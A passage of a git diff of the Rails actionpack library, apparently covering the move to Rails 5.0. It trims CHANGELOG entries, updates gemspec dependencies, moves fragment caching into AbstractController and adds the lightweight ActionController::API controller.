written in a shorter form. - - # Before - def index - @articles = Article.all - fresh_when(etag: @articles, last_modified: @articles.maximum(:updated_at)) - end - - # After - def index - @articles = Article.all - fresh_when(@articles) - end - - *claudiob* - -* Explicitly ignored wildcard verbs when searching for HEAD routes before fallback - - Fixes an issue where a mounted rack app at root would intercept the HEAD - request causing an incorrect behavior during the fall back to GET requests. - - Example: - - draw do - get '/home' => 'test#index' - mount rack_app, at: '/' - end - head '/home' - assert_response :success - - In this case, a HEAD request runs through the routes the first time and fails - to match anything. Then, it runs through the list with the fallback and matches - `get '/home'`. The original behavior would match the rack app in the first pass. - - *Terence Sun* - -* Migrating xhr methods to keyword arguments syntax - in `ActionController::TestCase` and `ActionDispatch::Integration` - - Old syntax: - - xhr :get, :create, params: { id: 1 } - - New syntax example: - - get :create, params: { id: 1 }, xhr: true - - *Kir Shatrov* - -* Migrating to keyword arguments syntax in `ActionController::TestCase` and - `ActionDispatch::Integration` HTTP request methods. - - Example: - - post :create, params: { y: x }, session: { a: 'b' } - get :view, params: { id: 1 } - get :view, params: { id: 1 }, format: :json - - *Kir Shatrov* - -* Preserve default url options when generating URLs. - - Fixes an issue that would cause default_url_options to be lost when - generating URLs with fewer positional arguments than parameters in the - route definition. - - *Tekin Suleyman* - -* Deprecate *_via_redirect integration test methods. - - Use `follow_redirect!` manually after the request call for the same behavior. - - *Aditya Kapoor* - -* Add `ActionController::Renderer` to render arbitrary templates - outside controller actions. - - Its functionality is accessible through class methods `render` and - `renderer` of `ActionController::Base`. - - *Ravil Bayramgalin* - -* Support `:assigns` option when rendering with controllers/mailers. - - *Ravil Bayramgalin* - -* Default headers, removed in controller actions, are no longer reapplied on - the test response. - - *Jonas Baumann* - -* Deprecate all *_filter callbacks in favor of *_action callbacks. - - *Rafael Mendonça França* - -* Allow you to pass `prepend: false` to protect_from_forgery to have the - verification callback appended instead of prepended to the chain. - This allows you to let the verification step depend on prior callbacks. - - Example: - - class ApplicationController < ActionController::Base - before_action :authenticate - protect_from_forgery prepend: false, unless: -> { @authenticated_by.oauth? } - - private - def authenticate - if oauth_request? - # authenticate with oauth - @authenticated_by = 'oauth'.inquiry - else - # authenticate with cookies - @authenticated_by = 'cookie'.inquiry - end - end - end - - *Josef Šimánek* - -* Remove `ActionController::HideActions`. - - *Ravil Bayramgalin* - -* Remove `respond_to`/`respond_with` placeholder methods, this functionality - has been extracted to the `responders` gem. - - *Carlos Antonio da Silva* - -* Remove deprecated assertion files. - - *Rafael Mendonça França* - -* Remove deprecated usage of string keys in URL helpers. - - *Rafael Mendonça França* - -* Remove deprecated `only_path` option on `*_path` helpers. - - *Rafael Mendonça França* - -* Remove deprecated `NamedRouteCollection#helpers`. - - *Rafael Mendonça França* - -* Remove deprecated support to define routes with `:to` option that doesn't contain `#`. - - *Rafael Mendonça França* - -* Remove deprecated `ActionDispatch::Response#to_ary`. - - *Rafael Mendonça França* - -* Remove deprecated `ActionDispatch::Request#deep_munge`. - - *Rafael Mendonça França* - -* Remove deprecated `ActionDispatch::Http::Parameters#symbolized_path_parameters`. - - *Rafael Mendonça França* - -* Remove deprecated option `use_route` in controller tests. - - *Rafael Mendonça França* - -* Ensure `append_info_to_payload` is called even if an exception is raised. - - Fixes an issue where when an exception is raised in the request the additonal - payload data is not available. - - See: - * #14903 - * https://github.com/roidrage/lograge/issues/37 - - *Dieter Komendera*, *Margus Pärt* - -* Correctly rely on the response's status code to handle calls to `head`. - - *Robin Dupret* - -* Using `head` method returns empty response_body instead - of returning a single space " ". - - The old behavior was added as a workaround for a bug in an early - version of Safari, where the HTTP headers are not returned correctly - if the response body has a 0-length. This is been fixed since and - the workaround is no longer necessary. - - Fixes #18253. - - *Prathamesh Sonpatki* - -* Fix how polymorphic routes works with objects that implement `to_model`. - - *Travis Grathwell* - -* Stop converting empty arrays in `params` to `nil`. - - This behaviour was introduced in response to CVE-2012-2660, CVE-2012-2694 - and CVE-2013-0155 - - ActiveRecord now issues a safe query when passing an empty array into - a where clause, so there is no longer a need to defend against this type - of input (any nils are still stripped from the array). - - *Chris Sinjakli* - -* Fixed usage of optional scopes in url helpers. - - *Alex Robbin* - -* Fixed handling of positional url helper arguments when `format: false`. - - Fixes #17819. - - *Andrew White*, *Tatiana Soukiassian* - -Please check [4-2-stable](https://github.com/rails/rails/blob/4-2-stable/actionpack/CHANGELOG.md) for previous changes. +Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actionpack/CHANGELOG.md) for previous changes. diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE index 3ec7a617cf..8573eb1225 100644 --- a/actionpack/MIT-LICENSE +++ b/actionpack/MIT-LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2004-2015 David Heinemeier Hansson +Copyright (c) 2004-2016 David Heinemeier Hansson Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc index 02a24a7412..0720c66cb9 100644 --- a/actionpack/README.rdoc +++ b/actionpack/README.rdoc @@ -28,7 +28,7 @@ can be used outside of Rails. The latest version of Action Pack can be installed with RubyGems: - % [sudo] gem install actionpack + $ gem install actionpack Source code can be downloaded as part of the Rails project on GitHub @@ -55,4 +55,3 @@ Bug reports can be filed for the Ruby on Rails project here: Feature requests should be discussed on the rails-core mailing list here: * https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core - diff --git a/actionpack/Rakefile b/actionpack/Rakefile index 3bd27f8d64..37a269cffd 100644 --- a/actionpack/Rakefile +++ b/actionpack/Rakefile @@ -1,11 +1,13 @@ require 'rake/testtask' -require 'rubygems/package_task' test_files = Dir.glob('test/**/*_test.rb') desc "Default Task" task :default => :test +task :package +task "package:clean" + # Run the unit tests Rake::TestTask.new do |t| t.libs << 'test' @@ -24,19 +26,6 @@ namespace :test do end end -spec = eval(File.read('actionpack.gemspec')) - -Gem::PackageTask.new(spec) do |p| - p.gem_spec = spec -end - -desc "Release to rubygems" -task :release => :package do - require 'rake/gemcutter' - Rake::Gemcutter::Tasks.new(spec).define - Rake::Task['gem:push'].invoke -end - task :lines do load File.expand_path('..', File.dirname(__FILE__)) + '/tools/line_statistics' files = FileList["lib/**/*.rb"] diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec index b6b70a027c..965fafff5f 100644 --- a/actionpack/actionpack.gemspec +++ b/actionpack/actionpack.gemspec @@ -7,13 +7,13 @@ Gem::Specification.new do |s| s.summary = 'Web-flow and rendering framework putting the VC in MVC (part of Rails).' s.description = 'Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server.' - s.required_ruby_version = '>= 2.2.1' + s.required_ruby_version = '>= 2.2.2' s.license = 'MIT' s.author = 'David Heinemeier Hansson' s.email = 'david@loudthinking.com' - s.homepage = 'http://www.rubyonrails.org' + s.homepage = 'http://rubyonrails.org' s.files = Dir['CHANGELOG.md', 'README.rdoc', 'MIT-LICENSE', 'lib/**/*'] s.require_path = 'lib' @@ -21,10 +21,10 @@ Gem::Specification.new do |s| s.add_dependency 'activesupport', version - s.add_dependency 'rack', '~> 1.6' + s.add_dependency 'rack', '~> 2.x' s.add_dependency 'rack-test', '~> 0.6.3' s.add_dependency 'rails-html-sanitizer', '~> 1.0', '>= 1.0.2' - s.add_dependency 'rails-dom-testing', '~> 1.0', '>= 1.0.5' + s.add_dependency 'rails-dom-testing', '~> 2.0' s.add_dependency 'actionview', version s.add_development_dependency 'activemodel', version diff --git a/actionpack/bin/test b/actionpack/bin/test new file mode 100755 index 0000000000..404cabba51 --- /dev/null +++ b/actionpack/bin/test @@ -0,0 +1,4 @@ +#!/usr/bin/env ruby +COMPONENT_ROOT = File.expand_path("../../", __FILE__) +require File.expand_path("../tools/test", COMPONENT_ROOT) +exit Minitest.run(ARGV) diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb index fe9802e395..1e57cbaac4 100644 --- a/actionpack/lib/abstract_controller.rb +++ b/actionpack/lib/abstract_controller.rb @@ -1,13 +1,12 @@ require 'action_pack' require 'active_support/rails' -require 'active_support/core_ext/module/attr_internal' -require 'active_support/core_ext/module/anonymous' require 'active_support/i18n' module AbstractController extend ActiveSupport::Autoload autoload :Base + autoload :Caching autoload :Callbacks autoload :Collector autoload :DoubleRenderError, "abstract_controller/rendering" @@ -17,4 +16,9 @@ module AbstractController autoload :Translation autoload :AssetPaths autoload :UrlFor + + def self.eager_load! + super + AbstractController::Caching.eager_load! + end end diff --git a/actionpack/lib/abstract_controller/base.rb b/actionpack/lib/abstract_controller/base.rb index c95b9a4097..d4317399ed 100644 --- a/actionpack/lib/abstract_controller/base.rb +++ b/actionpack/lib/abstract_controller/base.rb @@ -1,13 +1,11 @@ require 'erubis' -require 'set' +require 'abstract_controller/error' require 'active_support/configurable' require 'active_support/descendants_tracker' require 'active_support/core_ext/module/anonymous' +require 'active_support/core_ext/module/attr_internal' module AbstractController - class Error < StandardError #:nodoc: - end - # Raised when a non-existing controller action is triggered. class ActionNotFound < StandardError end @@ -49,7 +47,7 @@ module AbstractController # instance methods on that abstract class. Public instance methods of # a controller would normally be considered action methods, so methods # declared on abstract classes are being removed. - # (ActionController::Metal and ActionController::Base are defined as abstract) + # (<tt>ActionController::Metal</tt> and ActionController::Base are defined as abstract) def internal_methods controller = self @@ -78,9 +76,9 @@ module AbstractController end end - # action_methods are cached and there is sometimes need to refresh + # action_methods are cached and there is sometimes a need to refresh # them. ::clear_action_methods! allows you to do that, so next time - # you run action_methods, they will be recalculated + # you run action_methods, they will be recalculated. def clear_action_methods! @action_methods = nil end @@ -88,7 +86,7 @@ module AbstractController # Returns the full controller name, underscored, without the ending Controller. # # class MyApp::MyPostsController < AbstractController::Base - # end + # # end # # MyApp::MyPostsController.controller_path # => "my_app/my_posts" @@ -96,7 +94,7 @@ module AbstractController # ==== Returns # * <tt>String</tt> def controller_path - @controller_path ||= name.sub(/Controller$/, '').underscore unless anonymous? + @controller_path ||= name.sub(/Controller$/, ''.freeze).underscore unless anonymous? end # Refresh the cached action_methods when a new action_method is added. @@ -148,11 +146,8 @@ module AbstractController # # ==== Parameters # * <tt>action_name</tt> - The name of an action to be tested - # - # ==== Returns - # * <tt>TrueClass</tt>, <tt>FalseClass</tt> def available_action?(action_name) - _find_action_name(action_name).present? + _find_action_name(action_name) end # Returns true if the given controller is capable of rendering @@ -171,9 +166,6 @@ module AbstractController # ==== Parameters # * <tt>name</tt> - The name of an action to be tested # - # ==== Returns - # * <tt>TrueClass</tt>, <tt>FalseClass</tt> - # # :api: private def action_method?(name) self.class.action_methods.include?(name) diff --git a/actionpack/lib/abstract_controller/caching.rb b/actionpack/lib/abstract_controller/caching.rb new file mode 100644 index 0000000000..0dea50889a --- /dev/null +++ b/actionpack/lib/abstract_controller/caching.rb @@ -0,0 +1,62 @@ +module AbstractController + module Caching + extend ActiveSupport::Concern + extend ActiveSupport::Autoload + + eager_autoload do + autoload :Fragments + end + + module ConfigMethods + def cache_store + config.cache_store + end + + def cache_store=(store) + config.cache_store = ActiveSupport::Cache.lookup_store(store) + end + + private + def cache_configured? + perform_caching && cache_store + end + end + + include ConfigMethods + include AbstractController::Caching::Fragments + + included do + extend ConfigMethods + + config_accessor :default_static_extension + self.default_static_extension ||= '.html' + + config_accessor :perform_caching + self.perform_caching = true if perform_caching.nil? + + class_attribute :_view_cache_dependencies + self._view_cache_dependencies = [] + helper_method :view_cache_dependencies if respond_to?(:helper_method) + end + + module ClassMethods + def view_cache_dependency(&dependency) + self._view_cache_dependencies += [dependency] + end + end + + def view_cache_dependencies + self.class._view_cache_dependencies.map { |dep| instance_exec(&dep) }.compact + end + + protected + # Convenience accessor. + def cache(key, options = {}, &block) + if cache_configured? + cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block) + else + yield + end + end + end +end diff --git a/actionpack/lib/action_controller/caching/fragments.rb b/actionpack/lib/abstract_controller/caching/fragments.rb index 2694d4c12f..3257a731ed 100644 --- a/actionpack/lib/action_controller/caching/fragments.rb +++ b/actionpack/lib/abstract_controller/caching/fragments.rb @@ -1,4 +1,4 @@ -module ActionController +module AbstractController module Caching # Fragment caching is used for caching various blocks within # views without caching the entire action as a whole. This is @@ -14,12 +14,57 @@ module ActionController # # expire_fragment('name_of_cache') module Fragments + extend ActiveSupport::Concern + + included do + if respond_to?(:class_attribute) + class_attribute :fragment_cache_keys + else + mattr_writer :fragment_cache_keys + end + + self.fragment_cache_keys = [] + + helper_method :fragment_cache_key if respond_to?(:helper_method) + end + + module ClassMethods + # Allows you to specify controller-wide key prefixes for + # cache fragments. Pass either a constant +value+, or a block + # which computes a value each time a cache key is generated. + # + # For example, you may want to prefix all fragment cache keys + # with a global version identifier, so you can easily + # invalidate all caches. + # + # class ApplicationController + # fragment_cache_key "v1" + # end + # + # When it's time to invalidate all fragments, simply change + # the string constant. Or, progressively roll out the cache + # invalidation using a computed value: + # + # class ApplicationController + # fragment_cache_key do + # @account.id.odd? ? "v1" : "v2" + # end + # end + def fragment_cache_key(value = nil, &key) + self.fragment_cache_keys += [key || ->{ value }] + end + end + # Given a key (as described in +expire_fragment+), returns # a key suitable for use in reading, writing, or expiring a - # cached fragment. All keys are prefixed with <tt>views/</tt> and uses - # ActiveSupport::Cache.expand_cache_key for the expansion. + # cached fragment. All keys begin with <tt>views/</tt>, + # followed by any controller-wide key prefix values, ending + # with the specified +key+ value. The key is expanded using + # ActiveSupport::Cache.expand_cache_key. def fragment_cache_key(key) - ActiveSupport::Cache.expand_cache_key(key.is_a?(Hash) ? url_for(key).split("://").last : key, :views) + head = self.class.fragment_cache_keys.map { |k| instance_exec(&k) } + tail = key.is_a?(Hash) ? url_for(key).split("://").last : key + ActiveSupport::Cache.expand_cache_key([*head, *tail], :views) end # Writes +content+ to the location signified by @@ -90,13 +135,8 @@ module ActionController end def instrument_fragment_cache(name, key) # :nodoc: - payload = { - controller: controller_name, - action: action_name, - key: key - } - - ActiveSupport::Notifications.instrument("#{name}.action_controller", payload) { yield } + payload = instrument_payload(key) + ActiveSupport::Notifications.instrument("#{name}.#{instrument_name}", payload) { yield } end end end diff --git a/actionpack/lib/abstract_controller/callbacks.rb b/actionpack/lib/abstract_controller/callbacks.rb index 59ffb0a19e..d63ce9c1c3 100644 --- a/actionpack/lib/abstract_controller/callbacks.rb +++ b/actionpack/lib/abstract_controller/callbacks.rb @@ -39,8 +39,8 @@ module AbstractController # except: :index, if: -> { true } # the :except option will be ignored. # # ==== Options - # * <tt>only</tt> - The callback should be run only for this action - # * <tt>except</tt> - The callback should be run for all actions except this action + # * <tt>only</tt> - The callback should be run only for this action. + # * <tt>except</tt> - The callback should be run for all actions except this action. def _normalize_callback_options(options) _normalize_callback_option(options, :only, :if) _normalize_callback_option(options, :except, :unless) @@ -48,7 +48,8 @@ module AbstractController def _normalize_callback_option(options, from, to) # :nodoc: if from = options[from] - from = Array(from).map {|o| "action_name == '#{o}'"}.join(" || ") + _from = Array(from).map(&:to_s).to_set + from = proc {|c| _from.include? c.action_name } options[to] = Array(options[to]).unshift(from) end end @@ -59,12 +60,12 @@ module AbstractController # * <tt>names</tt> - A list of valid names that could be used for # callbacks. Note that skipping uses Ruby equality, so it's # impossible to skip a callback defined using an anonymous proc - # using #skip_action_callback + # using #skip_action_callback. def skip_action_callback(*names) - ActiveSupport::Deprecation.warn('`skip_action_callback` is deprecated and will be removed in the next major version of Rails. Please use skip_before_action, skip_after_action or skip_around_action instead.') - skip_before_action(*names) - skip_after_action(*names) - skip_around_action(*names) + ActiveSupport::Deprecation.warn('`skip_action_callback` is deprecated and will be removed in Rails 5.1. Please use skip_before_action, skip_after_action or skip_around_action instead.') + skip_before_action(*names, raise: false) + skip_after_action(*names, raise: false) + skip_around_action(*names, raise: false) end def skip_filter(*names) @@ -82,8 +83,8 @@ module AbstractController # * <tt>block</tt> - A proc that should be added to the callbacks. # # ==== Block Parameters - # * <tt>name</tt> - The callback to be added - # * <tt>options</tt> - A hash of options to be used when adding the callback + # * <tt>name</tt> - The callback to be added. + # * <tt>options</tt> - A hash of options to be used when adding the callback. def _insert_callbacks(callbacks, block = nil) options = callbacks.extract_options! _normalize_callback_options(options) diff --git a/actionpack/lib/abstract_controller/collector.rb b/actionpack/lib/abstract_controller/collector.rb index ddd56b354a..55654be224 100644 --- a/actionpack/lib/abstract_controller/collector.rb +++ b/actionpack/lib/abstract_controller/collector.rb @@ -4,11 +4,10 @@ module AbstractController module Collector def self.generate_method_for_mime(mime) sym = mime.is_a?(Symbol) ? mime : mime.to_sym - const = sym.upcase class_eval <<-RUBY, __FILE__, __LINE__ + 1 - def #{sym}(*args, &block) # def html(*args, &block) - custom(Mime::#{const}, *args, &block) # custom(Mime::HTML, *args, &block) - end # end + def #{sym}(*args, &block) + custom(Mime[:#{sym}], *args, &block) + end RUBY end @@ -23,9 +22,7 @@ module AbstractController protected def method_missing(symbol, &block) - const_name = symbol.upcase - - unless Mime.const_defined?(const_name) + unless mime_constant = Mime[symbol] raise NoMethodError, "To respond to a custom format, register it as a MIME type first: " \ "http://guides.rubyonrails.org/action_controller_overview.html#restful-downloads. " \ "If you meant to respond to a variant like :tablet or :phone, not a custom format, " \ @@ -33,8 +30,6 @@ module AbstractController "format.html { |html| html.tablet { ... } }" end - mime_constant = Mime.const_get(const_name) - if Mime::SET.include?(mime_constant) AbstractController::Collector.generate_method_for_mime(mime_constant) send(symbol, &block) diff --git a/actionpack/lib/abstract_controller/error.rb b/actionpack/lib/abstract_controller/error.rb new file mode 100644 index 0000000000..7fafce4dd4 --- /dev/null +++ b/actionpack/lib/abstract_controller/error.rb @@ -0,0 +1,4 @@ +module AbstractController + class Error < StandardError #:nodoc: + end +end diff --git a/actionpack/lib/abstract_controller/helpers.rb b/actionpack/lib/abstract_controller/helpers.rb index 109eff10eb..ab4355296b 100644 --- a/actionpack/lib/abstract_controller/helpers.rb +++ b/actionpack/lib/abstract_controller/helpers.rb @@ -38,7 +38,8 @@ module AbstractController end # Declare a controller method as a helper. For example, the following - # makes the +current_user+ controller method available to the view: + # makes the +current_user+ and +logged_in?+ controller methods available + # to the view: # class ApplicationController < ActionController::Base # helper_method :current_user, :logged_in? # @@ -181,7 +182,7 @@ module AbstractController end def default_helper_module! - module_name = name.sub(/Controller$/, '') + module_name = name.sub(/Controller$/, ''.freeze) module_path = module_name.underscore helper module_path rescue LoadError => e diff --git a/actionpack/lib/abstract_controller/rendering.rb b/actionpack/lib/abstract_controller/rendering.rb index 5514213ad8..a6fb0dbe1d 100644 --- a/actionpack/lib/abstract_controller/rendering.rb +++ b/actionpack/lib/abstract_controller/rendering.rb @@ -1,3 +1,4 @@ +require 'abstract_controller/error' require 'active_support/concern' require 'active_support/core_ext/class/attribute' require 'action_view' @@ -22,9 +23,13 @@ module AbstractController # :api: public def render(*args, &block) options = _normalize_render(*args, &block) - self.response_body = render_to_body(options) - _process_format(rendered_format, options) if rendered_format - self.response_body + rendered_body = render_to_body(options) + if options[:html] + _set_html_content_type + else + _set_rendered_content_type rendered_format + end + self.response_body = rendered_body end # Raw rendering of a template to a string. @@ -51,14 +56,12 @@ module AbstractController # Returns Content-Type of rendered content # :api: public def rendered_format - Mime::TEXT + Mime[:text] end - DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %w( - @_action_name @_response_body @_formats @_prefixes @_config - @_view_context_class @_view_renderer @_lookup_context - @_routes @_db_runtime - ).map(&:to_sym) + DEFAULT_PROTECTED_INSTANCE_VARIABLES = Set.new %i( + @_action_name @_response_body @_formats @_prefixes + ) # This method should return a hash with assigns. # You can overwrite this configuration per controller. @@ -78,7 +81,13 @@ module AbstractController # <tt>render :file => "foo/bar"</tt>. # :api: plugin def _normalize_args(action=nil, options={}) - if action.is_a? Hash + if action.respond_to?(:permitted?) + if action.permitted? + action + else + raise ArgumentError, "render parameters are not permitted" + end + elsif action.is_a?(Hash) action else options @@ -99,7 +108,13 @@ module AbstractController # Process the rendered format. # :api: private - def _process_format(format, options = {}) + def _process_format(format) + end + + def _set_html_content_type # :nodoc: + end + + def _set_rendered_content_type(format) # :nodoc: end # Normalize args and options. @@ -107,7 +122,7 @@ module AbstractController def _normalize_render(*args, &block) options = _normalize_args(*args, &block) #TODO: remove defined? when we restore AP <=> AV dependency - if defined?(request) && request && request.variant.present? + if defined?(request) && request.variant.present? options[:variant] = request.variant end _normalize_options(options) diff --git a/actionpack/lib/action_controller.rb b/actionpack/lib/action_controller.rb index 7667e469d3..62f5905205 100644 --- a/actionpack/lib/action_controller.rb +++ b/actionpack/lib/action_controller.rb @@ -7,14 +7,18 @@ require 'action_controller/metal/strong_parameters' module ActionController extend ActiveSupport::Autoload + autoload :API autoload :Base - autoload :Caching autoload :Metal autoload :Middleware autoload :Renderer + autoload :FormBuilder + + eager_autoload do + autoload :Caching + end autoload_under "metal" do - autoload :Compatibility autoload :ConditionalGet autoload :Cookies autoload :DataStreaming @@ -24,11 +28,11 @@ module ActionController autoload :Head autoload :Helpers autoload :HttpAuthentication + autoload :BasicImplicitRender autoload :ImplicitRender autoload :Instrumentation autoload :MimeResponds autoload :ParamsWrapper - autoload :RackDelegation autoload :Redirecting autoload :Renderers autoload :Rendering @@ -40,13 +44,12 @@ module ActionController autoload :UrlFor end + autoload_under "api" do + autoload :ApiRendering + end + autoload :TestCase, 'action_controller/test_case' autoload :TemplateAssertions, 'action_controller/test_case' - - def self.eager_load! - super - ActionController::Caching.eager_load! - end end # Common Active Support usage in Action Controller diff --git a/actionpack/lib/action_controller/api.rb b/actionpack/lib/action_controller/api.rb new file mode 100644 index 0000000000..6bbebb7b4c --- /dev/null +++ b/actionpack/lib/action_controller/api.rb @@ -0,0 +1,147 @@ +require 'action_view' +require 'action_controller' +require 'action_controller/log_subscriber' + +module ActionController + # API Controller is a lightweight version of <tt>ActionController::Base</tt>, + # created for applications that don't require all functionalities that a complete + # \Rails controller provides, allowing you to create controllers with just the + # features that you need for API only applications. + # + # An API Controller is different from a normal controller in the sense that + # by default it doesn't include a number of features that are usually required + # by browser access only: layouts and templates rendering, cookies, sessions, + # flash, assets, and so on. This makes the entire controller stack thinner, + # suitable for API applications. It doesn't mean you won't have such + # features if you need them: they're all available for you to include in + # your application, they're just not part of the default API controller stack. + # + # Normally, +ApplicationController+ is the only controller that inherits from + # <tt>ActionController::API</tt>. All other controllers in turn inherit from + # +ApplicationController+. + # + # A sample controller could look like this: + # + # class PostsController < ApplicationController + # def index + # posts = Post.all + # render json: posts + # end + # end + # + # Request, response, and parameters objects all work the exact same way as + # <tt>ActionController::Base</tt>. + # + # == Renders + # + # The default API Controller stack includes all renderers, which means you + # can use <tt>render :json</tt> and brothers freely in your controllers. Keep + # in mind that templates are not going to be rendered, so you need to ensure + # your controller is calling either <tt>render</tt> or <tt>redirect_to</tt> in + # all actions, otherwise it will return 204 No Content. + # + # def show + # post = Post.find(params[:id]) + # render json: post + # end + # + # == Redirects + # + # Redirects are used to move from one action to another. You can use the + # <tt>redirect_to</tt> method in your controllers in the same way as in + # <tt>ActionController::Base</tt>. For example: + # + # def create + # redirect_to root_url and return if not_authorized? + # # do stuff here + # end + # + # == Adding New Behavior + # + # In some scenarios you may want to add back some functionality provided by + # <tt>ActionController::Base</tt> that is not present by default in + # <tt>ActionController::API</tt>, for instance <tt>MimeResponds</tt>. This + # module gives you the <tt>respond_to</tt> method. Adding it is quite simple, + # you just need to include the module in a specific controller or in + # +ApplicationController+ in case you want it available in your entire + # application: + # + # class ApplicationController < ActionController::API + # include ActionController::MimeResponds + # end + # + # class PostsController < ApplicationController + # def index + # posts = Post.all + # + # respond_to do |format| + # format.json { render json: posts } + # format.xml { render xml: posts } + # end + # end + # end + # + # Quite straightforward. Make sure to check the modules included in + # <tt>ActionController::Base</tt> if you want to use any other + # functionality that is not provided by <tt>ActionController::API</tt> + # out of the box. + class API < Metal + abstract! + + # Shortcut helper that returns all the ActionController::API modules except + # the ones passed as arguments: + # + # class MyAPIBaseController < ActionController::Metal + # ActionController::API.without_modules(:ForceSSL, :UrlFor).each do |left| + # include left + # end + # end + # + # This gives better control over what you want to exclude and makes it easier + # to create an API controller class, instead of listing the modules required + # manually. + def self.without_modules(*modules) + modules = modules.map do |m| + m.is_a?(Symbol) ? ActionController.const_get(m) : m + end + + MODULES - modules + end + + MODULES = [ + AbstractController::Rendering, + + UrlFor, + Redirecting, + ApiRendering, + Renderers::All, + ConditionalGet, + BasicImplicitRender, + StrongParameters, + + ForceSSL, + DataStreaming, + + # Before callbacks should also be executed as early as possible, so + # also include them at the bottom. + AbstractController::Callbacks, + + # Append rescue at the bottom to wrap as much as possible. + Rescue, + + # Add instrumentations hooks at the bottom, to ensure they instrument + # all the methods properly. + Instrumentation, + + # Params wrapper should come before instrumentation so they are + # properly showed in logs + ParamsWrapper + ] + + MODULES.each do |mod| + include mod + end + + ActiveSupport.run_load_hooks(:action_controller, self) + end +end diff --git a/actionpack/lib/action_controller/api/api_rendering.rb b/actionpack/lib/action_controller/api/api_rendering.rb new file mode 100644 index 0000000000..3a08d28c39 --- /dev/null +++ b/actionpack/lib/action_controller/api/api_rendering.rb @@ -0,0 +1,14 @@ +module ActionController + module ApiRendering + extend ActiveSupport::Concern + + included do + include Rendering + end + + def render_to_body(options = {}) + _process_options(options) + super + end + end +end diff --git a/actionpack/lib/action_controller/base.rb b/actionpack/lib/action_controller/base.rb index e6038396f9..d546d7260c 100644 --- a/actionpack/lib/action_controller/base.rb +++ b/actionpack/lib/action_controller/base.rb @@ -50,9 +50,9 @@ module ActionController # # == Parameters # - # All request parameters, whether they come from a GET or POST request, or from the URL, are available through the params method - # which returns a hash. For example, an action that was performed through <tt>/posts?category=All&limit=5</tt> will include - # <tt>{ "category" => "All", "limit" => "5" }</tt> in params. + # All request parameters, whether they come from a query string in the URL or form data submitted through a POST request are + # available through the params method which returns a hash. For example, an action that was performed through + # <tt>/posts?category=All&limit=5</tt> will include <tt>{ "category" => "All", "limit" => "5" }</tt> in params. # # It's also possible to construct multi-dimensional parameter hashes by specifying keys using brackets, such as: # @@ -183,7 +183,7 @@ module ActionController # Shortcut helper that returns all the modules included in # ActionController::Base except the ones passed as arguments: # - # class MetalController + # class MyBaseController < ActionController::Metal # ActionController::Base.without_modules(:ParamsWrapper, :Streaming).each do |left| # include left # end @@ -213,7 +213,6 @@ module ActionController Renderers::All, ConditionalGet, EtagWithTemplateDigest, - RackDelegation, Caching, MimeResponds, ImplicitRender, @@ -221,6 +220,7 @@ module ActionController Cookies, Flash, + FormBuilder, RequestForgeryProtection, ForceSSL, Streaming, @@ -229,7 +229,7 @@ module ActionController HttpAuthentication::Digest::ControllerMethods, HttpAuthentication::Token::ControllerMethods, - # Before callbacks should also be executed the earliest as possible, so + # Before callbacks should also be executed as early as possible, so # also include them at the bottom. AbstractController::Callbacks, @@ -248,20 +248,18 @@ module ActionController MODULES.each do |mod| include mod end + setup_renderer! # Define some internal variables that should not be propagated to the view. - PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + [ - :@_status, :@_headers, :@_params, :@_env, :@_response, :@_request, - :@_view_runtime, :@_stream, :@_url_options, :@_action_has_layout ] + PROTECTED_IVARS = AbstractController::Rendering::DEFAULT_PROTECTED_INSTANCE_VARIABLES + %i( + @_params @_response @_request @_config @_url_options @_action_has_layout @_view_context_class + @_view_renderer @_lookup_context @_routes @_view_runtime @_db_runtime @_helper_proxy + ) def _protected_ivars # :nodoc: PROTECTED_IVARS end - def self.protected_instance_variables - PROTECTED_IVARS - end - ActiveSupport.run_load_hooks(:action_controller, self) end end diff --git a/actionpack/lib/action_controller/caching.rb b/actionpack/lib/action_controller/caching.rb index de85e0c1a7..a9a8508abc 100644 --- a/actionpack/lib/action_controller/caching.rb +++ b/actionpack/lib/action_controller/caching.rb @@ -1,14 +1,10 @@ -require 'fileutils' -require 'uri' -require 'set' - module ActionController # \Caching is a cheap way of speeding up slow applications by keeping the result of # calculations, renderings, and database calls around for subsequent requests. # # You can read more about each approach by clicking the modules below. # - # Note: To turn off all caching, set + # Note: To turn off all caching provided by Action Controller, set # config.action_controller.perform_caching = false # # == \Caching stores @@ -24,66 +20,25 @@ module ActionController # config.action_controller.cache_store = :mem_cache_store, Memcached::Rails.new('localhost:11211') # config.action_controller.cache_store = MyOwnStore.new('parameter') module Caching - extend ActiveSupport::Concern extend ActiveSupport::Autoload - - eager_autoload do - autoload :Fragments - end - - module ConfigMethods - def cache_store - config.cache_store - end - - def cache_store=(store) - config.cache_store = ActiveSupport::Cache.lookup_store(store) - end - - private - def cache_configured? - perform_caching && cache_store - end - end - - include RackDelegation - include AbstractController::Callbacks - - include ConfigMethods - include Fragments + extend ActiveSupport::Concern included do - extend ConfigMethods - - config_accessor :default_static_extension - self.default_static_extension ||= '.html' - - config_accessor :perform_caching - self.perform_caching = true if perform_caching.nil? - - class_attribute :_view_cache_dependencies - self._view_cache_dependencies = [] - helper_method :view_cache_dependencies if respond_to?(:helper_method) + include AbstractController::Caching end - module ClassMethods - def view_cache_dependency(&dependency) - self._view_cache_dependencies += [dependency] - end - end + private - def view_cache_dependencies - self.class._view_cache_dependencies.map { |dep| instance_exec(&dep) }.compact - end + def instrument_payload(key) + { + controller: controller_name, + action: action_name, + key: key + } + end - protected - # Convenience accessor. - def cache(key, options = {}, &block) - if cache_configured? - cache_store.fetch(ActiveSupport::Cache.expand_cache_key(key, :controller), options, &block) - else - yield - end + def instrument_name + "action_controller" end end end diff --git a/actionpack/lib/action_controller/form_builder.rb b/actionpack/lib/action_controller/form_builder.rb new file mode 100644 index 0000000000..f2656ca894 --- /dev/null +++ b/actionpack/lib/action_controller/form_builder.rb @@ 